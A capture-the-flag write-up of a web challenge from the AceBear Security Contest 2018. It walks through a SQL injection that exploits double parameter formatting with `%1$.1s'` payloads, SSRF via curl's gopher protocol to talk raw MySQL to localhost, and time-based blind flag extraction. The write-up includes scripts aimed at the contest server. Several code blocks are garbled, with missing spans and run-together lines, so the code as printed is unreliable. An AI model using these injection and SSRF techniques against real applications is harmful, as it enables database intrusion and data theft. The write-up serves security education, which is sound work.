This challenge is a Web challenge from the AceBear Security Contest 2018.  It is the hardest Web challenge, and has been solved by the following teams:- nụ cười mới- 玲奈ちゃんめっちゃ可愛い~♡- OpenToAll- Wild~HackXore- bi0s- rtep- FluxFingers- dcua- ASIS- XeR & his amazing friends
The challenge is a website. Its source code is available, albeit a little bitoutdated. (we will see this later). The website is an e-commerce website,specially designed for "tet".To my understanding, tet refers to the [Vietnamese New Year][]. You can registeran account and buy two presents for free.
The solution to this challenge consists of two different parts: the SQLinjection, and the flag exfiltration.
## 1. SQL injection
The website is protected against SQL injection with a hand-made method to useprepared statments.
```phpfunction addParameter($qr, $args){	if(is_null($qr)){		return;	}	if(strpos($qr, '%') === false ) {		return;	}	$args = func_get_args();	array_shift($args);	if(is_array($args[0]) && count($args)==1){		$args = $args[0];	}	foreach($args as $arg){		if(!is_scalar($arg) && !is_null($arg)){
			return;		}	}	$qr = str_replace( "'%s'", '%s', $qr);	$qr = str_replace( '"%s"', '%s', $qr);	$qr = preg_replace( '|(?_re($st);}function _re($st) {	if ($this->conn) {		return mysqli_real_escape_string($this->conn, $st);	}
	return addslashes($st);}```
`addParameter($qr, $args)` takes two arguments: a string (the request), and anarray of arguments. This method uses some `func_` magic to allow an arbitraryamount of arguments.  `addParameter("SELECT * FROM foo WHERE foo = %s AND bar = %s", "foo", "bar")` isequivalent to`addParameter("SELECT * FROM foo WHERE foo = %s AND bar = %s", ["foo", "bar"])`.
Every arguments is filtered with `mysqli_real_escape_string` or `addslashes`.There can be two kind of arguments: strings (`%s`) or floats (`%F`).
This filtering method cannot be bypassed per se. However, in the item.php file,we can see the following lines:
```php$prepare_qr = $jdb->addParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s",  $_GET['uid']);$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);```
Which prepares an already-prepared request... what happens if the user suppliesan argument with `[%s]`?
1. `SELECT [...] where gid=%s`2. `SELECT [...] where gid='[%s]'`3. `SELECT [...] where gid='[%s]' and user=%s`4. `PHP Warning:  Wrong parameter count for vfprintf()`
Obviously, the developper did not intend a user to put "%s" in his input. So,the request bugs. I made the following script to see if I could transform thisbug to a vulnerability:
```phpaddParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s",  $uid);var_dump($prepare_qr);
$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);var_dump($prepare_qr);
printf("\e[35mUsername\e[0m: %s\n", $username);```
After a few tries, we can notice that:- `%1$s` prints the 1st argument without incrementing the argument index;- `%1$s` is not `%s`, so it will not be quoted;- `%.3s` prints the 3 first characters of our argument.
Therefore, `%1$.1s` prints the first character of my **escaped** username.If my username starts with an apostrophe, my escaped username will start with abackslash. (`'` → `\'`). `%1$.1s` is equivalent to a backslash that will not beescaped.
With that in mind, it becomes easy to realize that we can escape the apostropheswith `%1$.1s'` which, after a call to `addParameter` will become `\\'`.
I registered the account `'2`, with the password `x`. I managed to exploit anUNION-based SQL injection with the following payload:`info.php?uid=%1$.1s' UNION SELECT 1, 2, 3 -- -`
## 2. Flag exfiltration
Great, now that we have an SQL injection, it's only a matter of `SELECT flagFROM flag.flag`, right?
Not so fast, our current user cannot read the flag database. According tobackup.sh, only the `fl4g_m4n4g3r` can.
Thanks to our SQL injection, we control what the `$result` array contains inthe following code:
```phpecho '<title>Verified: '.$result[0]['name'].'</title>';echo 'Product Name: '.$result[0]['name'].'';echo 'Product Description: '.$result[0]['description'].'';echo 'This product has been verified by Pepe and safe for using!';echo '';```
**Note**: the last line is actually a call to `watermark_me($result[0]['img'])`.
And the `watermark_me` function is defined as follows:
```phpfunction get_data($url) {	$ch = curl_init();	$timeout = 2;	curl_setopt($ch, CURLOPT_URL, $url);	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);	$data = curl_exec($ch);	curl_close($ch);	return $data;}
function watermark_me($img){	if(preg_match('/^file/', $img)){		die("Ahihi");	}	$file_content = get_data($img);
	$fname = 'tmp-img-'.rand(0,9).'.tmp';	file_put_contents('/tmp/'.$fname, $file_content);	while(1){	if(file_exists('/tmp/'.$fname))		break;	}
	$stamp = imagecreatefromjpeg('ok.jpg');	$imgPng = imagecreatefromjpeg('/tmp/'.$fname);
	$marge_right = 10;	$marge_bottom = 10;	$sx = imagesx($stamp);	$sy = imagesy($stamp);
	imagecopy($imgPng, $stamp, imagesx($imgPng) - $sx - $marge_right, imagesy($imgPng) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));
	if($imgPng){		@unlink('/tmp/'.$fname);		//header("Content-type: image/png");		ob_start();		imagePng($imgPng);		$imagedata = base64_encode(ob_get_contents());
		ob_end_clean();		@imagedestroy($imgPng);		return $imagedata;	}else{		@unlink('/tmp/'.$fname);		die("Ahihi");	}}
```
Basically, it downloads an image, and adds a watermark (`ok.jpg`).
I wrote the following script to tweak with this function:
```sh#!/bin/shreadonly SESSID=sojte4l7058tf75ii9j9v71rr4request() {	exec curl -D- -g -G \		'http://128.199.179.156/info.php' \		--header "Cookie: PHPSESSID=$SESSID" \		--data-urlencode "$1"}
URL="$1"HEX="$(echo -ne "$URL" | xxd -ps | tr -d '\n')"echo "$HEX"
request 'uid=%1$.1s'\'' UNION SELECT 1, 2, 0x'"$HEX"'-- -'```
After looking for vulns in php's source code, in particular `ext/gd` and`ext/curl`, I came accross the following statement:> libcurl currently supports the http, https, ftp, gopher, telnet, dict, file,> and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP> PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form> based upload, proxies, cookies, and user+password authentication.
Unfortunately, we cannot upload files. However, we may use the gopher protocolto send arbitrary packets to a TCP server.
[Gopher][] is an ancient protocol designed for CTF^W^W as an ancestor to HTTP.It's dead simple, as **everything you put in the URL will be sent verbatim tothe server**. No header, no body, no nothing.
The only thing to take into account are that:- The first character is not sent, so you need to add a padding chacter;- Some characters don't play nice with cURL (\0, #, ?), so they need to be  URL-encoded.
Thanks to this protocol, it might be possible to send arbitrary requests to thelocal MySQL server, with the `fl4g_m4n4g3r` account.
I used the following commands to dump a basic MySQL session, and analyze it inorder to reproduce it:`# tcpdump -i lo -w out.pcap 'tcp src or dst port 3306`and`mysql -u root -h 127.0.0.1 --protocol tcp`
We will not go in the details on how the MySQL protocol works as it is out ofthe scope of this writeup. However, if you would like to know, do not waste yourtime on the [Official MySQL documentation][]. It's mostly empty. Wireshark doesa much better job. 
The only way to know if our request has been executed is to make a time-basedrequest and see if it takes enough time.
I used the following script to send arbitrary SQL commands:
```php> %d) & 1", $request, 7 - $i);                $request = sprintf("SLEEP(%s)", $request);                $request = sprintf("SELECT %s FROM flag.flag", $request);
                $t    = getTime($request);                $byte = ($byte << 1) | ($t > 1);                printf("(%d,%d) %02X\n", $c, $i, $byte);        }        $flag .= chr($byte);        printf("\e[31m%s\e[0m\n", $flag);}```
**Flag**: https://tinyurl.com/y9pplum3 `AceBear{Just_WP_SQLi_and_some_SSRF_tricks}`
[Vietnamese New Year]: https://en.wikipedia.org/wiki/T%E1%BA%BFt[Gopher]: https://en.wikipedia.org/wiki/Gopher_(protocol)[Official MySQL documentation]: https://dev.mysql.com/doc/dev/mysql-server/8.0.0/PAGE_PROTOCOL.html#protocol_overview